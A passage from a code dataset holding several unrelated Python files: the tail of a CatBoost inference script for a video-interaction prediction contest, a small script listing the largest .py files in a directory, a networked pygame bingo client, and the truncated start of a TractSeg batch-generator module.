res=np.array([0. for i in range(emb_size)])\n        if s!=\"nan\":\n            for one in s.split(\";\"):\n                res+=np.array(model2.wv[one])\n        return list(res)\n    def trans3(s):\n        s=str(s)\n        res=np.array([0. for i in range(emb_size)])\n        if s!=\"nan\":\n            for one in s.split(\";\"):\n                res+=np.array(model3.wv[one])\n        return list(res)\n    def trans4(s):\n        s=str(s)\n        res=np.array([0. for i in range(emb_size)])\n        if s!=\"nan\":\n            for one in s.split():\n                res+=np.array(model4.wv[one])\n        return list(res)\n    model1=get_w2v(data,\"manual_keyword_list\")\n    model2=get_w2v(data,\"manual_tag_list\")\n    model3=get_w2v(data,\"machine_keyword_list\")\n    model4=get_w2v(data,\"description\")\n    data['manual_keyword_list_emb'] = data['manual_keyword_list'].apply(trans1)\n    data['manual_tag_list_emb'] = data['manual_tag_list'].apply(trans2)\n    data['machine_keyword_list_emb'] = data['machine_keyword_list'].apply(trans3)\n    data['description_emb'] = data['description'].apply(trans4)\n    data=split_col(data, column='manual_keyword_list_emb')\n    data=split_col(data, column='manual_tag_list_emb')\n    data=split_col(data, column='machine_keyword_list_emb')\n    data=split_col(data, column='description_emb')\n    return data\n\npd.set_option('display.max_columns', None)\ndef reduce_mem(df, cols):\n    start_mem = df.memory_usage().sum() / 1024 ** 2\n    for col in tqdm(cols):\n        col_type = df[col].dtypes\n        if col_type != object:\n            c_min = df[col].min()\n            c_max = df[col].max()\n            if str(col_type)[:3] == 'int':\n                if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n                    df[col] = df[col].astype(np.int8)\n                elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n                    df[col] = df[col].astype(np.int16)\n                elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n                    df[col] = df[col].astype(np.int32)\n                elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n                    df[col] = df[col].astype(np.int64)\n            else:\n                if c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n                    df[col] = df[col].astype(np.float16)\n                elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n                    df[col] = df[col].astype(np.float32)\n                else:\n                    df[col] = df[col].astype(np.float64)\n    end_mem = df.memory_usage().sum() / 1024 ** 2\n    print('{:.2f} Mb, {:.2f} Mb ({:.2f} %)'.format(start_mem, end_mem, 100 * (start_mem - end_mem) / start_mem))\n    gc.collect()\n    return df\n## 从官方baseline里面抽出来的评测函数\ndef uAUC(labels, preds, user_id_list):\n    \"\"\"Calculate user AUC\"\"\"\n    user_pred = defaultdict(lambda: [])\n    user_truth = defaultdict(lambda: [])\n    for idx, truth in enumerate(labels):\n        user_id = user_id_list[idx]\n        pred = preds[idx]\n        truth = labels[idx]\n        user_pred[user_id].append(pred)\n        user_truth[user_id].append(truth)\n\n    user_flag = defaultdict(lambda: False)\n    for user_id in set(user_id_list):\n        truths = user_truth[user_id]\n        flag = False\n        # 若全是正样本或全是负样本，则flag为False\n        for i in range(len(truths) - 1):\n            if truths[i] != truths[i + 1]:\n                flag = True\n                break\n        user_flag[user_id] = flag\n    total_auc = 0.0\n    size = 0.0\n    for user_id in user_flag:\n        if user_flag[user_id]:\n            auc = roc_auc_score(np.asarray(user_truth[user_id]), np.asarray(user_pred[user_id]))\n            total_auc += auc\n            size += 1.0\n    user_auc = float(total_auc)/size\n    return user_auc\ndef K_flod(df,n):\n    a = df.shape[0]\n    b = a//5\n    print(b)\n    df_1 = df[:b].reset_index(drop=True)\n    df_2 = df[b:2*b].reset_index(drop=True)\n    df_3 = df[2*b:3*b].reset_index(drop=True)\n    df_4 = df[3*b:4*b].reset_index(drop=True)\n    df_5 = df[4*b:].reset_index(drop=True)\n    if(n == 1):\n        return df_1\n    elif(n == 2):\n        return df_2\n    elif(n == 3):\n        return df_3\n    elif(n == 4):\n        return df_4\n    else:\n        return df_5\ny_list = ['read_comment', 'like', 'click_avatar', 'forward', 'favorite', 'comment', 'follow']\nmax_day = 15\nplay_cols = [\n    'is_finish', 'play_times', 'play', 'stay'\n]\nUM_EPOCH_DICT = {\"read_comment\": 0.2, \"like\": 0.2, \"click_avatar\": 0.2,\"forward\": 0.2,\n                                \"comment\":0.2, \"follow\":0.2, \"favorite\": 0.2, }\n\ndef prepare_data(yy):\n\n    ## 读取训练集\n\n    train = pd.read_csv(user_action_path)#[:10000]\n    train_neg = train[train[yy] == 0]\n    train_neg = train_neg.sample(frac=UM_EPOCH_DICT[yy],random_state=13,replace=False)\n    ## 增加五折验证\n    # train_neg = K_flod(train_neg,n)\n    train     = pd.concat([train_neg,train[train[yy] == 1]])\n    print(train.shape)\n    for y in y_list:\n        print(y, train[y].mean())\n\n\n\n    ## 读取测试集\n    test = pd.read_csv(test_data_path)\n    test['date_'] = max_day\n    print(test.shape)\n    ## 合并处理\n\n    df = pd.concat([train, test], axis=0, ignore_index=True)\n    print(df.head(3))\n\n    ## 读取视频信息表\n\n    feed_info = pd.read_csv(feed_info_path)\n\n    ## 此份baseline只保留这三列\n\n    emg_size = 16\n    feed_info = trans_tag_key_emb(feed_info, emg_size)\n\n    feed_info = feed_info[\n        ['feedid', 'authorid', 'videoplayseconds', 'bgm_song_id', 'bgm_singer_id'] +\n        ['manual_keyword_list_emb' + str(i) for i in range(emg_size)] +\n        ['manual_tag_list_emb' + str(i) for i in range(emg_size)] +\n        ['machine_keyword_list_emb' + str(i) for i in range(emg_size)] +\n        ['description_emb' + str(i) for i in range(emg_size)]\n        ]\n    df = df.merge(feed_info, on='feedid', how='left')\n\n    ## 从这里增加特征以及交叉特征\n    #####################################################\n    FEA_FEED_LIST = ['feedid', 'bgm_song_id', 'bgm_singer_id']\n    FEED_INFO_FRT_LIST=['authorid_count', 'vPlaysecBucket_count', 'authorid_feedid_nunique',\n            'authorid_vPlaysecBucket_nunique', 'vPlaysecBucket_feedid_nunique', 'vPlaysecBucket_authorid_nunique']\n    FEA_FEED_LIST=FEA_FEED_LIST+FEED_INFO_FRT_LIST\n    ## 32 64 128 256 对四个属性有不同影响\n    feddemb = pd.read_csv(feed_embeddings_PCA_path)\n    df = df.merge(feddemb,on='feedid',how='left')\n    feed_info_frt = pd.read_csv(feed_info_frt_path)[FEA_FEED_LIST]\n    df = df.merge(feed_info_frt,on='feedid',how='left')\n    feed_info_manual_key = pd.read_csv(feed_info_manual_key_path)\n    df = df.merge(feed_info_manual_key,on='feedid',how='left')\n    feed_info_manual_tag = pd.read_csv(feed_info_manual_tag_sta_path)\n    df = df.merge(feed_info_manual_tag,on='feedid',how='left')\n    #### 加入下面的会波动\n    # feed_info_machine_key = pd.read_csv('./data/feed_info_machine_key.csv')\n    # df = df.merge(feed_info_machine_key,on='feedid',how='left')\n    #####################################################\n    ## 视频时长是秒，转换成毫秒，才能与play、stay做运算\n\n    df['videoplayseconds'] *= 1000\n\n    ## 是否观看完视频（其实不用严格按大于关系，也可以按比例，比如观看比例超过0.9就算看完）\n\n    df['is_finish'] = (df['play'] >= df['videoplayseconds']).astype('int8')\n\n    df['play_times'] = df['play'] / df['videoplayseconds']\n\n\n\n    ## 统计历史5天的曝光、转化、视频观看等情况（此处的转化率统计其实就是target encoding）\n    n_day = 14\n    for stat_cols in tqdm([\n        ['userid'],\n\n        ['feedid'],\n\n        ['authorid'],\n\n        ['userid', 'authorid']\n\n    ]):\n\n        f = '_'.join(stat_cols)\n\n        stat_df = pd.DataFrame()\n\n        for target_day in range(2, max_day + 1):\n\n            left, right = max(target_day - n_day, 1), target_day - 1\n            tmp = df[((df['date_'] >= left) & (df['date_'] <= right))].reset_index(drop=True)\n            tmp['date_'] = target_day\n            tmp['{}_{}day_count'.format(f, n_day)] = tmp.groupby(stat_cols)['date_'].transform('count')\n\n            g = tmp.groupby(stat_cols)\n\n            tmp['{}_{}day_finish_rate'.format(f, n_day)] = g[play_cols[0]].transform('mean')\n            feats = ['{}_{}day_count'.format(f, n_day), '{}_{}day_finish_rate'.format(f, n_day)]\n            for x in play_cols[1:]:\n                for stat in ['max', 'mean']:\n                    tmp['{}_{}day_{}_{}'.format(f, n_day, x, stat)] = g[x].transform(stat)\n                    feats.append('{}_{}day_{}_{}'.format(f, n_day, x, stat))\n\n\n\n            for y in y_list:\n\n                tmp['{}_{}day_{}_sum'.format(f, n_day, y)] = g[y].transform('sum')\n\n                tmp['{}_{}day_{}_mean'.format(f, n_day, y)] = g[y].transform('mean')\n\n                feats.extend(['{}_{}day_{}_sum'.format(f, n_day, y), '{}_{}day_{}_mean'.format(f, n_day, y)])\n\n            tmp = tmp[stat_cols + feats + ['date_']].drop_duplicates(stat_cols + ['date_']).reset_index(drop=True)\n            stat_df = pd.concat([stat_df, tmp], axis=0, ignore_index=True)\n            del g, tmp\n\n        df = df.merge(stat_df, on=stat_cols + ['date_'], how='left')\n        del stat_df\n        gc.collect()\n\n\n    ## 全局信息统计，包括曝光、偏好等，略有穿越，但问题不大，可以上分，只要注意不要对userid-feedid做组合统计就行\n\n    for f in tqdm(['userid', 'feedid', 'authorid']):\n\n        df[f + '_count'] = df[f].map(df[f].value_counts())\n\n    for f1, f2 in tqdm([\n\n        ['userid', 'feedid'],\n\n        ['userid', 'authorid']\n\n    ]):\n\n        df['{}_in_{}_nunique'.format(f1, f2)] = df.groupby(f2)[f1].transform('nunique')\n\n        df['{}_in_{}_nunique'.format(f2, f1)] = df.groupby(f1)[f2].transform('nunique')\n\n    for f1, f2 in tqdm([\n\n        ['userid', 'authorid']\n\n    ]):\n\n        df['{}_{}_count'.format(f1, f2)] = df.groupby([f1, f2])['date_'].transform('count')\n\n        df['{}_in_{}_count_prop'.format(f1, f2)] = df['{}_{}_count'.format(f1, f2)] / (df[f2 + '_count'] + 1)\n\n        df['{}_in_{}_count_prop'.format(f2, f1)] = df['{}_{}_count'.format(f1, f2)] / (df[f1 + '_count'] + 1)\n\n    df['videoplayseconds_in_userid_mean'] = df.groupby('userid')['videoplayseconds'].transform('mean')\n\n    df['videoplayseconds_in_authorid_mean'] = df.groupby('authorid')['videoplayseconds'].transform('mean')\n\n    df['feedid_in_authorid_nunique'] = df.groupby('authorid')['feedid'].transform('nunique')\n\n\n\n    ## 内存够用的不需要做这一步\n\n    df = reduce_mem(df, [f for f in df.columns if f not in ['date_'] + play_cols + y_list])\n    # df.to_csv('data_df.csv',index=False)\n    return df\ndef predict(df,y):\n    # df = pd.read_csv('data_df.csv')\n    train = df[~df['read_comment'].isna()].reset_index(drop=True)\n\n    test = df[df['read_comment'].isna()].reset_index(drop=True)\n\n    cols = [f for f in df.columns if f not in ['date_'] + play_cols + y_list]\n\n    print(train[cols].shape)\n    \n    ########################### 预测 ########################\n\n#     r_dict = dict(zip(y_list, r_list))\n\n    # for y in y_list[:4]:\n    for yy in range(1):\n        print('=========', y, '=========')\n\n        t = time.time()\n\n        clf = CatBoostClassifier(loss_function=\"Logloss\",\n                               eval_metric=\"AUC\",\n                               task_type=\"CPU\",\n                               learning_rate=0.01,\n                               iterations=5000,\n                               random_seed=42,\n                               od_type=\"Iter\",\n                               depth=10\n                               )\n        clf.load_model(os.path.join(ROOT_DIR,'data/model/' + 'model_' + str(y) + '.txt'))\n        test[y] = clf.predict_proba(test[cols])[:, 1]\n\n        print('runtime: {}\\n'.format(time.time() - t))\n\n    return test[y]\n\n\nif __name__ == '__main__':\n\n    blank = pd.read_csv(test_data_path)\n    for y in y_list:\n\n        df = prepare_data(y)\n        blank[y] =predict(df,y)\n    blank.to_csv(submission_path, index=False)","sub_path":"src/inference_lgb.py","file_name":"inference_lgb.py","file_ext":"py","file_size_in_byte":14744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"536054410","text":"\"\"\"\nОтыскивает наибольший файл с исходным программным кодом на языке Python\nв единственном каталоге.\nПоиск выполняется в каталоге стандартной библиотеки\nPython для Windows, если\nв аргументе командной строки не был указан какой-то другой каталог.\n\"\"\"\n\nimport os\nimport sys\nimport glob\n\ndir_name = r\"C:\\Python\\Lib\" if len(sys.argv) == 1 else sys.argv[1]\n\nall_sizes = []\nfor file_name in glob.iglob(dir_name + os.sep + '*.py'):\n    file_size = os.path.getsize(file_name)\n    all_sizes.append((file_size, file_name))\n\nall_sizes.sort()\nprint(\"Smaller:\\n\\t\", all_sizes[:2])\nprint(\"Bigger:\\n\\t\", all_sizes[-2:])\n\n","sub_path":"dev/SystemProg/SystemTools/bigpy-dir.py","file_name":"bigpy-dir.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"605421998","text":"from network import Network\r\nimport pygame\r\nimport numpy as np\r\nimport os\r\nfrom tkinter import *\r\nfrom tkinter import messagebox\r\nimport time\r\n\r\n# activate the pygame library .\r\n# initiate pygame and give permission\r\n# to use pygame's functionality.\r\npygame.init()\r\n\r\nrect = (50, 50, 250, 250)\r\n\r\n# define the RGB value\r\n# for white colour\r\nwhite = (255, 255, 255)\r\n\r\n# assigning values to X and Y variable\r\nX = 250\r\nY = 320\r\n\r\n# create the display surface object\r\n# of specific dimension..e(X, Y).\r\nwin = pygame.display.set_mode((X, Y))\r\n\r\n# It will store the indexes of numbers 0-24 which are randomly distribute on the 5X5 board.\r\n# The indices of the number is stored as a tuple (i,j).\r\nindex = {}\r\n\r\n# Playing board in which the numbers 0 - 24 are stored.\r\nboard = np.random.permutation(25).reshape((5, 5))\r\n\r\n# flag board whose index(i,j) will tell whether the number stored at (i,j) has been marked on the board or not.\r\n# initialized with false(zeros), because initially no number has been marked.\r\nboolArray = np.zeros((5, 5))\r\n\r\n\r\n# storing the indices of the board\r\nfor i in range(5):\r\n    for j in range(5):\r\n        index[board[i][j]] = (i, j)\r\n\r\n# set the pygame window name\r\npygame.display.set_caption('Player 1')\r\n\r\n\r\n# List to store all the objects of images, which are to be presented at the board.\r\n# index 0 - 24 : images of numbers 0-24\r\n# index 25     : image of cross which will be blitted on that no. which is marked\r\n# index 26 - 30 : image of letters B,I,N,G,O\r\n# index 31 - 35 : images of crossed letters B,I,N,G,O\r\nimage = []\r\nfor i in range(25):\r\n    pic = str(i) + '.jpg'\r\n    image.append(pygame.image.load(os.path.join(\"images\", pic)))\r\n\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"cross.jpg\")))\r\n\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"B.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"I.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"N.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"G.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"O.jpg\")))\r\n\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"Bcross.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"Icross.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"Ncross.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"Gcross.jpg\")))\r\nimage.append(pygame.image.load(os.path.join(\"images\", \"Ocross.jpg\")))\r\n\r\n\r\ndef click(pos):\r\n    \"\"\"\r\n    :return: pos (x, y) in range 0-7 0-7\r\n    \"\"\"\r\n    x = int(pos[0] / 50)\r\n    y = int(pos[1] / 50)\r\n\r\n    return x, y\r\n\r\n\r\n# To count no. of lines(row, column, diagonal) which are completely marked\r\ndef countScore():\r\n    count = 0\r\n\r\n    for i in range(5):\r\n        flag = True\r\n        for j in range(5):\r\n            if not boolArray[i, j]:\r\n                flag = False\r\n                break\r\n        if flag:\r\n            count += 1\r\n\r\n    for j in range(5):\r\n        flag = True\r\n        for i in range(5):\r\n            if not boolArray[i, j]:\r\n                flag = False\r\n                break;\r\n        if flag:\r\n            count += 1\r\n\r\n    for i in range(5):\r\n        if not boolArray[i, i]:\r\n            break\r\n        if i == 4:\r\n            count += 1\r\n\r\n    for i in range(5):\r\n        if not boolArray[i, 4 - i]:\r\n            break\r\n        if i == 4:\r\n            count += 1\r\n\r\n    return count\r\n\r\n\r\ndef read_pos(str):\r\n    return int(str)\r\n\r\n\r\ndef make_pos(tup):\r\n    return str(tup)\r\n\r\n\r\n# completely fill the surface object\r\n# with white colour\r\nwin.fill(white)\r\n\r\n# copying the image surface object\r\n# to the display surface object at\r\n# (0, 0) coordinate.\r\n\r\nfor i in range(5):\r\n    for j in range(5):\r\n        win.blit(image[board[i, j]], (i * 50, j * 50))\r\n\r\n# Blitting letters B,I,N,G,O\r\nwin.blit(image[26], (0, 260))\r\nwin.blit(image[27], (50, 260))\r\nwin.blit(image[28], (100, 260))\r\nwin.blit(image[29], (150, 260))\r\nwin.blit(image[30], (200, 260))\r\n\r\n# separator of cyan color\r\npygame.draw.rect(win, (0, 255, 255), (0, 250, 250, 10))\r\npygame.draw.rect(win, (0, 255, 255), (0, 310, 250, 10))\r\n\r\n\r\n# infinite loop\r\nnumber = -1\r\nn = Network()\r\nplayer = int(n.getP())\r\nwent = False\r\nprint(\"You are player\", player)\r\n\r\nwhile True:\r\n\r\n    # iterate over the list of Event objects\r\n    # that was returned by pygame.event.get() method.\r\n    for event in pygame.event.get():\r\n\r\n        # if event object type is QUIT\r\n        # then quitting the pygame\r\n        # and program both.\r\n        pygame.display.update()\r\n        if event.type == pygame.QUIT:\r\n            # deactivates the pygame library\r\n            pygame.quit()\r\n\r\n            # quit the program.\r\n            quit()\r\n\r\n        if event.type == pygame.MOUSEBUTTONUP:\r\n            pos = pygame.mouse.get_pos()\r\n            i, j = click(pos)\r\n            print(i, \" \", j)\r\n            if i < 5 and j < 5 and went is False:\r\n                # blitting green marked image for a while\r\n                win.blit(pygame.image.load(os.path.join(\"images\", \"crossR.jpg\")), (i * 50, j * 50))\r\n                pygame.display.update()\r\n\r\n                # Now blitting permanent red marked image over that number at pos (i,j)\r\n                win.blit(image[25], (i * 50, j * 50))\r\n\r\n                # Sending the information to the server\r\n                print(\"sending to server\")\r\n                game = n.send(make_pos(board[i, j]))\r\n                print(\"number : \", game.move)\r\n                print(\"sent to server\")\r\n\r\n        game = n.send(make_pos(number))\r\n        number = game.move\r\n        went = game.went[player]\r\n\r\n        if number != -1:\r\n            previousScore = countScore()\r\n            print(number)\r\n\r\n            clickedIndex = index[number]\r\n\r\n            if not boolArray[clickedIndex[0], clickedIndex[1]]:\r\n                win.blit(pygame.image.load(os.path.join(\"images\", \"crossR.jpg\")),\r\n                         (clickedIndex[0]*50, clickedIndex[1]*50))\r\n                pygame.display.update()\r\n                time.sleep(0.4)\r\n\r\n            win.blit(image[25], (clickedIndex[0] * 50, clickedIndex[1] * 50))\r\n            boolArray[clickedIndex[0], clickedIndex[1]] = True\r\n\r\n            score = countScore()\r\n            print(\"score : \", score)\r\n\r\n            if score > 0:\r\n                if score > 5:\r\n                    score = 5\r\n\r\n                # blitting crossed BINGO letters upto score\r\n                for i in range(score - previousScore):\r\n                    win.blit(image[30 + previousScore + i + 1], ((previousScore + i) * 50, 260))\r\n\r\n                # If other player won the match\r\n                if score < 5 and game.wins[1 - player]:\r\n                    window = Tk()\r\n                    window.withdraw()\r\n                    messagebox.showinfo(\"Result\", \"Loser is : Player 1\")\r\n                    pygame.quit()\r\n                    quit()\r\n                    window.destroy()\r\n\r\n            pygame.display.update()\r\n\r\n            # If the current player marked atleast 5 lines, then it is expected to win.\r\n            if score >= 5:\r\n\r\n                game.wins[player] = True\r\n                n.send(\"25\")\r\n                print(\"Winner : \", game.wins[player], \" \", game.wins[1 - player])\r\n                time.sleep(1)\r\n\r\n                # signal to the server that the current player is going to win\r\n                game = n.send(\"25\")\r\n\r\n                # If other player also going to win, then the match is DRAWN\r\n                if game.wins[1 - player]:\r\n                    window = Tk()\r\n                    window.withdraw()\r\n                    messagebox.showinfo(\"Result\", \"Game Draw\")\r\n                    pygame.quit()\r\n                    quit()\r\n                    window.destroy()\r\n\r\n\r\n                # Otherwise current player wins the match\r\n                else:\r\n                    window = Tk()\r\n                    window.withdraw()\r\n                    messagebox.showinfo(\"Result\", \"Winner is : Player 1\")\r\n                    pygame.quit()\r\n                    quit()\r\n                    window.destroy()\r\n\r\n            number = -1\r\n            game.move = -1\r\n            pygame.display.update()\r\n\r\n        # Draws the surface object to the screen.\r\n        pygame.display.update()\r\n","sub_path":"client1.py","file_name":"client1.py","file_ext":"py","file_size_in_byte":8226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"514600802","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ)\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom os.path import join\nimport nibabel as nib\nimport numpy as np\nimport random\nimport os\n\nfrom batchgenerators.transforms.color_transforms import ContrastAugmentationTransform, BrightnessMultiplicativeTransform\nfrom batchgenerators.transforms.resample_transforms import ResampleTransform\nfrom batchgenerators.transforms.noise_transforms import GaussianNoiseTransform\nfrom batchgenerators.transforms.spatial_transforms import SpatialTransform, FlipVectorAxisTransform\nfrom batchgenerators.transforms.spatial_transforms import MirrorTransform\nfrom batchgenerators.transforms.crop_and_pad_transforms import PadToMultipleTransform\nfrom batchgenerators.transforms.sample_normalization_transforms import ZeroMeanUnitVarianceTransform\nfrom batchgenerators.transforms.abstract_transforms import Compose\nfrom batchgenerators.dataloading.multi_threaded_augmenter import MultiThreadedAugmenter\n\nfrom tractseg.libs.ImgUtils import ImgUtils\nfrom tractseg.libs.BatchGenerators import SlicesBatchGeneratorRandomNiftiImg\nfrom tractseg.libs.BatchGenerators import SlicesBatchGeneratorPrecomputedBatches\nfrom tractseg.libs.BatchGenerators import SlicesBatchGeneratorRandomNiftiImg_5slices\nfrom tractseg.libs.BatchGenerators import SlicesBatchGenerator\nfrom tractseg.libs.BatchGenerators_fusion import SlicesBatchGeneratorRandomNpyImg_fusion\nfrom tractseg.libs.BatchGenerators_fusion import SlicesBatchGeneratorNpyImg_fusion\nfrom tractseg.libs.DatasetUtils import DatasetUtils\nfrom tractseg.libs.Config import Config as C\nfrom tractseg.libs.ExpUtils import ExpUtils\nfrom tractseg.libs.AugmentationGenerators import *\n\nnp.random.seed(1337)  # for reproducibility\n\nclass DataManagerSingleSubjectById:\n    def __init__(self, HP, subject=None, use_gt_mask=True):\n        self.subject = subject\n        self.HP = HP\n        self.use_gt_mask = use_gt_mask\n\n        if self.HP.TYPE == \"single_direction\":\n            self.data_dir = join(C.HOME, self.HP.DATASET_FOLDER, subject)\n        elif self.HP.TYPE == \"combined\":\n            self.data_dir = join(C.HOME, self.HP.DATASET_FOLDER, subject, self.HP.FEATURES_FILENAME + \".npy\") #data_dir not used when doing fusion\n\n        print(\"Loading data from: \" + self.data_dir)\n\n    def get_batches(self, batch_size=1):\n\n        num_processes = 1   # not not use more than 1 if you want to keep original slice order (Threads do return in random order)\n\n        if self.HP.TYPE == \"combined\":\n            # Load from Npy file for Fusion\n            data = self.subject\n            seg = []\n            nr_of_samples = len([self.subject]) * self.HP.INPUT_DIM[0]\n            num_batches = int(nr_of_samples / batch_size / num_processes)\n            batch_gen = SlicesBatchGeneratorNpyImg_fusion((data, seg), BATCH_SIZE=batch_size, num_batches=num_batches, seed=None)\n        else:\n            # Load Features\n            if self.HP.FEATURES_FILENAME == \"12g90g270g\":\n                data_img = nib.load(join(self.data_dir, \"270g_125mm_peaks.nii.gz\"))\n            else:\n                data_img = nib.load(join(self.data_dir, self.HP.FEATURES_FILENAME + \".nii.gz\"))\n            data = data_img.get_data()\n            data = np.nan_to_num(data)\n            data = DatasetUtils.scale_input_to_unet_shape(data, self.HP.DATASET, self.HP.RESOLUTION)\n            # data = DatasetUtils.scale_input_to_unet_shape(data, \"HCP_32g\", \"1.25mm\")  #If we want to test HCP_32g on HighRes net\n\n            #Load Segmentation\n            if self.use_gt_mask:\n                seg = nib.load(join(self.data_dir, self.HP.LABELS_FILENAME + \".nii.gz\")).get_data()\n\n                if self.HP.LABELS_FILENAME not in [\"bundle_peaks_11_808080\", \"bundle_peaks_20_808080\", \"bundle_peaks_808080\",\n                                                   \"bundle_masks_20_808080\", \"bundle_masks_72_808080\", \"bundle_peaks_Part1_808080\",\n                                           \"bundle_peaks_Part2_808080\", \"bundle_peaks_Part3_808080\", \"bundle_peaks_Part4_808080\"]:\n                    if self.HP.DATASET in [\"HCP_2mm\", \"HCP_2.5mm\", \"HCP_32g\"]:\n                        # By using \"HCP\" but lower resolution scale_input_to_unet_shape will automatically downsample the HCP sized seg_mask\n                        seg = DatasetUtils.scale_input_to_unet_shape(seg, \"HCP\", self.HP.RESOLUTION)\n                    else:\n                        seg = DatasetUtils.scale_input_to_unet_shape(seg, self.HP.DATASET, self.HP.RESOLUTION)\n            else:\n                # Use dummy mask in case we only want to predict on some data (where we do not have Ground Truth))\n                seg = np.zeros((self.HP.INPUT_DIM[0], self.HP.INPUT_DIM[0], self.HP.INPUT_DIM[0], self.HP.NR_OF_CLASSES)).astype(self.HP.LABELS_TYPE)\n\n            batch_gen = SlicesBatchGenerator((data, seg), BATCH_SIZE=batch_size)\n\n        batch_gen.HP = self.HP\n        tfs = []  # transforms\n\n        if self.HP.NORMALIZE_DATA:\n            tfs.append(ZeroMeanUnitVarianceTransform(per_channel=False))\n\n        if self.HP.TEST_TIME_DAUG:\n            center_dist_from_border = int(self.HP.INPUT_DIM[0] / 2.) - 10  # (144,144) -> 62\n            tfs.append(SpatialTransform(self.HP.INPUT_DIM,\n                                        patch_center_dist_from_border=center_dist_from_border,\n                                        do_elastic_deform=True, alpha=(90., 120.), sigma=(9., 11.),\n                                        do_rotation=True, angle_x=(-0.8, 0.8), angle_y=(-0.8, 0.8),\n                                        angle_z=(-0.8, 0.8),\n                                        do_scale=True, scale=(0.9, 1.5), border_mode_data='constant',\n                                        border_cval_data=0,\n                                        order_data=3,\n                                        border_mode_seg='constant', border_cval_seg=0, order_seg=0, random_crop=True))\n            # tfs.append(ResampleTransform(zoom_range=(0.5, 1)))\n            # tfs.append(GaussianNoiseTransform(noise_variance=(0, 0.05)))\n            tfs.append(ContrastAugmentationTransform(contrast_range=(0.7, 1.3), preserve_range=True, per_channel=False))\n            tfs.append(BrightnessMultiplicativeTransform(multiplier_range=(0.7, 1.3), per_channel=False))\n\n\n        tfs.append(ReorderSegTransform())\n        batch_gen = MultiThreadedAugmenter(batch_gen, Compose(tfs), num_processes=num_processes, num_cached_per_queue=2, seeds=None) # Only use num_processes=1, otherwise global_idx of SlicesBatchGenerator not working\n        return batch_gen  # data: (batch_size, channels, x, y), seg: (batch_size, x, y, channels)\n\n\nclass DataManagerSingleSubjectByFile:\n    def __init__(self, HP, data):\n        self.data = data\n        self.HP = HP\n        ExpUtils.print_verbose(self.HP, \"Loading data from PREDICT_IMG input file\")\n\n    def get_batches(self, batch_size=1):\n        data = np.nan_to_num(self.data)\n        # Use dummy mask in case we only want to predict on some data (where we do not have Ground Truth))\n        seg = np.zeros((self.HP.INPUT_DIM[0], self.HP.INPUT_DIM[0], self.HP.INPUT_DIM[0], self.HP.NR_OF_CLASSES)).astype(self.HP.LABELS_TYPE)\n\n        num_processes = 1  # not not use more than 1 if you want to keep original slice order (Threads do return in random order)\n        batch_gen = SlicesBatchGenerator((data, seg), BATCH_SIZE=batch_size)\n        batch_gen.HP = self.HP\n        tfs = []  # transforms\n\n        if self.HP.NORMALIZE_DATA:\n            tfs.append(ZeroMeanUnitVarianceTransform(per_channel=self.HP.NORMALIZE_PER_CHANNEL))\n        tfs.append(ReorderSegTransform())\n        batch_gen = MultiThreadedAugmenter(batch_gen, Compose(tfs), num_processes=num_processes, num_cached_per_queue=2, seeds=None)  # Only use num_processes=1, otherwise global_idx of SlicesBatchGenerator not working\n        return batch_gen  # data: (batch_size, channels, x, y), seg: (batch_size, x, y, channels)\n\n\nclass DataManagerTrainingNiftiImgs:\n    def __init__(self, HP):\n        self.HP = HP\n        print(\"Loading data from: \" + join(C.DATA_PATH, self.HP.DATASET_FOLDER))\n\n    def get_batches(self, batch_size=128, type=None, subjects=None, num_batches=None):\n        data = subjects\n        seg = []\n\n        #6 -> >30GB RAM\n        if self.HP.DATA_AUGMENTATION:\n            num_processes = 8  # 6 is a bit faster than 16\n        else:\n            num_processes = 6\n\n        nr_of_samples = len(subjects) * self.HP.INPUT_DIM[0]\n        if num_batches is None:\n            num_batches_multithr = int(nr_of_samples / batch_size / num_processes)   #number of batches for exactly one epoch\n        else:\n            num_batches_multithr = int(num_batches / num_processes)\n\n        if self.HP.TYPE == \"combined\":\n            # Simple with .npy  -> just a little bit faster than Nifti (<10%) and f1 not better => use Nifti\n            batch_gen = SlicesBatchGeneratorRandomNpyImg_fusion((data, seg), BATCH_SIZE=batch_size, num_batches=num_batches_multithr, seed=None)\n            # batch_gen = SlicesBatchGeneratorRandomNpyImg_fusionMean((data, seg), BATCH_SIZE=batch_size, num_batches=num_batches_multithr, seed=None)\n        else:\n            batch_gen = SlicesBatchGeneratorRandomNiftiImg((data, seg), BATCH_SIZE=batch_size, num_batches=num_batches_multithr, seed=None)\n            # batch_gen = SlicesBatchGeneratorRandomNiftiImg_5slices((data, seg), BATCH_SIZE=batch_size, num_batches=num_batches_multithr, seed=None)\n\n        batch_gen.HP = self.HP\n        tfs = []  #transforms\n\n        if 